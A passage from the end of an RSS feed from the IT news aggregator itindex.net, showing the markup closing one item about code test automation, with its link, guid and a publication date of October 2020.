&lt;img&gt;&lt;/img&gt;&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/60939-%E4%BB%A3%E7%A0%81-%E6%B5%8B%E8%AF%95-%E8%87%AA%E5%8A%A8%E5%8C%96</guid>
      <pubDate>Thu, 15 Oct 2020 23:21:56 CST</pubDate>
    </item>
  </channel>
</rss>

